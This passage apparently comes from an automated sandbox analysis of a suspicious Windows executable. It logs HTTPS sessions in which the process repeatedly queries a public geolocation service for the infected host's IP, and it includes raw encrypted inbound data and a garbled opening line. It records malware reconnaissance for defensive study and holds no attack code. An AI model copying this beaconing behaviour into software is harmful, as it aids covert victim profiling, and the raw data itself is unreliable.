vQd8b1V.aK]Nf^$_$#0Q}]xz7Rd-="+7&C7H.]X]<Wf\|O]u9t$w\|ui0a#<''kIgv)P5)&eJuh\\FtO=/H-O3c\|gekUBk#
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: c8 05 6b 1e d8 17 1f 89 91 b9 70 4f d2 2b a3 a9 ce 9b 44 8f e7 cc f1 b7 45 5a df 64 24 c3 39 98 8b 14 74 12 62 51 f9 5a cd 17 f2 e3 6b 96 74 9b 73 78 13 51 7f aa a4 5f d1 e7 f5 0b f4 04 75 70 b3 5c 2a fd 02 b2 dd 51 7f 73 eb 8b 70 0b c2 59 0f 71 18 d0 72 e8 9b d0 26 69 e5 d4 56 84 06 c7 4d 56 73 45 c8 e4 c8 3b 8d 95 e4 e9 e6 8e ed c3 11 32 89 e0 7d 78 2a db e9 fb 97 34 51 e7 3f d7 12 76 b1 cc cd 72 6a 4e fa 18 e1 25 0c 04 b7 24 6a 3e cc 72 97 8c f6 02 dc 81 40 40 81 36 d9 8e 34 40 22 38 2d 26 d4 0a 6d 95 4c a9 20 41 c5 8e 7b f0 40 1a 1c b5 95 8b 38 c0 9f e7 fb d2 cb f1 60 96 40 6b c3 77 17 84 f8 b8 07 00 a8 0a c3 91 e7 a1 a9 9c 47 b2 f8 1b 1e 9d 08 35 f4 06 41 b6 85 91 6e da 2c e5 cb 10 78 66 ec 27 91 fd f2 02 19 38 1e 03 ac 58 0e d5 81 2e 51 3c b7 eb d8 Data Ascii: kpO+DEZd$9tbQZktsxQ_up\QspYqr&iVMVsE;2}x4Q?vrjN%$j>r@@64@"8-&mL A{@8`@kwG5An,xf'8X.Q<
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: 6c 9e f9 6d a4 79 5d 39 3a 30 af 99 3a 23 d0 87 0d 8b be 30 cc 43 f6 aa 05 a2 da 1d a1 fe a6 03 ec 2b 33 7c fb 38 79 84 58 ad c1 6a d1 ad d6 cd 4d 22 fb e5 fa 86 42 89 d5 e1 de de 39 39 b5 2f ac ad 59 d3 e6 c7 1c ea 0a fe a1 a2 f3 a2 2c 2e 57 fc db 3b 13 93 26 1c ea 7e 4b 24 22 70 78 86 6d f0 31 73 06 ba c7 77 6f a7 9d 10 32 ee b0 89 df 94 24 bc 21 92 b5 b5 e8 1e c4 cb a9 ca 91 ea 94 34 6e 6b 88 a1 f7 c5 83 b3 cd d6 7d af 94 04 77 c3 e6 ff 95 e4 44 91 b6 0b d6 af 72 12 9d f0 4b 61 72 fc bd f9 43 86 4c b7 fa ac 0b 1f c7 19 9e 5c 71 b4 91 b0 2d bf 5e 59 f5 3e 56 4e 62 dd 81 0e 6a e0 cd 07 cd 9f 90 e4 43 89 67 06 2c 2f 63 de 6d 10 28 78 18 ef 12 3d 6e 48 2d 6f 1a 53 f8 cc ef fa a8 4b 6e fa 1f 0a 19 82 9b 81 cf 0b c6 b7 73 81 f8 6d f7 0b 38 ff 1b 23 66 d1 2f Data Ascii: lmy]9:0:#0C+3\|8yXjM"B99/Y,.W;&~K$"pxm1swo2$!4nk}wDrKarCL\q-^Y>VNbjCg,/cm(x=nH-oSKnsm8#f/
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: ea 75 ad aa e9 6b d8 70 09 07 bb 02 5e f0 76 ef eb 14 c7 0a 48 1b 79 0f d2 63 13 4d 33 62 36 48 84 89 48 f7 b9 2a 3a a4 52 38 e3 cf 1c 0a 82 94 33 5d 08 60 59 6f 75 7f 3a 77 b0 47 38 de 70 df 67 41 58 e1 86 54 64 47 3f 16 f0 4a 41 f0 b4 ab ec 10 62 60 32 28 8e 8a 68 ea ac a1 de 8e f1 d8 30 5f 47 bd 69 8f de be d2 ef 53 d8 6f 99 6d cf 73 f4 f2 58 5d af 54 ef ee 42 f9 3f 49 58 1e d8 1c e5 2a ea 3f 5c 91 64 f6 ba 7c a0 73 88 ed bc 24 d1 45 31 50 0c f4 3f d9 3a 47 27 00 1a da 6e 9b cf ad a4 f8 d4 60 65 f1 53 d3 a3 ba b0 74 db 06 72 82 da 1e aa 08 fd 35 bf 83 1c bd 22 01 d4 0a 15 34 75 ca 80 79 a2 fd b8 65 6d f7 e4 73 be 13 2e d8 a6 1b 4c b4 a3 bc fa 81 26 58 c8 33 4a 76 38 7b 7a 8d 2d f6 45 3f b8 e9 90 ce 0c ee c7 48 c7 d2 07 54 a0 08 a5 35 0a 33 f3 bc fe b1 Data Ascii: ukp^vHycM3b6HH:R83]`You:wG8pgAXTdG?JAb`2(h0_GiSomsX]TB?IX?\d\|s$E1P?:G'n`eStr5"4uyems.L&X3Jv8{z-E?HT53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:29 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 01:23:29 UTC	855	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:29 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873398 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FSK3kV2IoSnw4JP7X0buzBW7tSL8qTias0GsCA9V%2FXpg4UbWrWGe6PV5SL3vGktFKwavfDuMH%2BX3RfY3ObV8leFNeb6H525RsWgijSv8868Lmen9mFY4n09fxcYVJmFpYlHtR7DJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a0bfae44388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1607&rtt_var=617&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1752701&cwnd=221&unsent_bytes=0&cid=560ea1c9c980bb0d&ts=457&x=0"
2025-01-11 01:23:29 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:30 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-11 01:23:31 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:31 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873400 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gSpNoXlnPGk%2FWO8Fw%2BBCJ4jG3RzXipVQFVJiHvwAS3ELYjvKlSW0NfwBechkQcuj7hYu4Fze7MCcjKEo3oGT5yAvzOG7GsKKKaqH5MuIkp%2B5AA2Daz26wrssU2MoMBLFaYp%2FQays"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a16e9398ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1809&rtt_var=681&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1605277&cwnd=215&unsent_bytes=0&cid=8c082649116aa6fd&ts=334&x=0"
2025-01-11 01:23:31 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:32 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-11 01:23:32 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:32 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873401 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3DFhE7ZVn6VTKXAHPJ5JWoREnjjtZA1hoGA%2BstPv2uxmXaW1TisTRHzNOvM440Wx81oahVbNg3lkZYrrhCWye3O5DKTFGJwN1I%2F%2FRx6BnBuYXE6K0U5b%2FEXwCp5HJWtxVzoa9ct"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a1eff291899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1626&rtt_var=613&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1781574&cwnd=153&unsent_bytes=0&cid=015f301d98fcf173&ts=156&x=0"
2025-01-11 01:23:32 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:33 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 01:23:33 UTC	859	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873402 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a7PhbNGX3qYzvYd%2B58bJYKGH7zvhjGGOvPpBKnChPCtLDqs6ZhgX4%2BMlxRncnWRdWz021Pi5V3QLHIP8UGTinUiBZCLgTVug9bwYpXmKktLlge2N62dJ%2F%2BXM4SvrYn%2BwNvFaYXDT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a26f9b67293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1986&rtt_var=757&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1432777&cwnd=158&unsent_bytes=0&cid=a27c8da5592fdc96&ts=153&x=0"
2025-01-11 01:23:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49719	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:34 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-11 01:23:34 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:34 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873403 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xB%2Bm0YubIbrNqiTRuQ%2Fi9nNyp%2BTgHtLDcmHEB0cTJPGfrUE9c2pzrT2wiz63aC7xcLiKrvhiCLuUOF85Ku4fEFRxGMeDd3WczREMqJ28RTEtT8G%2BsfOUxxDOa5vb39p9KV7MlDIX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a2ece010fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1469&rtt_var=565&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1912246&cwnd=252&unsent_bytes=0&cid=8e128d7453c65af1&ts=154&x=0"
2025-01-11 01:23:34 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49721	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:36 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 01:23:36 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:36 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873405 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d9THqxQVEN6Wy707i29F5wrOY2edRcoWCYFv%2B%2F2bL54EEiOgbESTCg57xyux74FMBkVI05PMmU%2FcatqJXlqXKFeTCRkOdZG0lemCU06s7DhzWNVMVTJp8nU62nVwl%2BUBZkxvPr4i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a369b038ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1798&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1600877&cwnd=215&unsent_bytes=0&cid=25ecefb669158f52&ts=143&x=0"
2025-01-11 01:23:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49723	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:37 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 01:23:37 UTC	859	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:37 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873406 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2K4aVXUsd3spdZlKa%2BR4K9P9Bb4njRYZT%2FPbNxkeRy3x9vEifJwnvVI%2BCrUipJVOdkYA3p8R6Tz6nEphu776OLU0b6hQNqNA9GO9vTBR2jiRarxzZtCxcCOg4%2B%2FR65Vfg1rxRW8d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a3e7d8c1899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1662&rtt_var=644&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1672394&cwnd=153&unsent_bytes=0&cid=4a00aed4457eeabd&ts=153&x=0"
2025-01-11 01:23:37 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49725	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:38 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-11 01:23:38 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:38 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873407 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EefQq4tOBmBUwjwA6N2mfXDQgEj2MWpzkxQxvByzO1aKp0KdPkUc1ltrBaya7eNCfeVPAcBfdzBn35%2BTRb841Ycvddkj%2FTxhVtZ4YFlkkg%2FC2gD0L6OWyKbLZE0uUA33%2FdB4mclA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a464cc91899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1592&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1815920&cwnd=153&unsent_bytes=0&cid=c06458970bb1e143&ts=134&x=0"
2025-01-11 01:23:38 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49727	104.21.16.1	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:39 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
